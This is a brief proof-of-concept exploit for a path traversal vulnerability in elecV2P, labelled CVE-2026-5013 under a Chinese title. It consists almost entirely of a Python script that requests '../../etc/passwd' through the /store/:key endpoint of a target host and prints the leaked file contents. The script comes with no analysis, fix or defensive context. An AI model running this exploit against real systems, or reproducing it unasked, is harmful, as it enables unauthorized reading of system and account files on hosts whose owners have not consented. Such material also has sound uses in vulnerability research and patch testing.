CVE-2026-5013 elecV2P路径遍历漏洞

import requests # Target URL with vulnerable endpoint target = "http://vulnerable-host:8000" # Payload to traverse to /etc/passwd # The endpoint is /store/:key, manipulating the key part payload = "../../etc/passwd" url = f"{target}/store/{payload}" try: response = requests.get(url, timeout=5) if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability confirmed! /etc/passwd content leaked.") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error: {e}")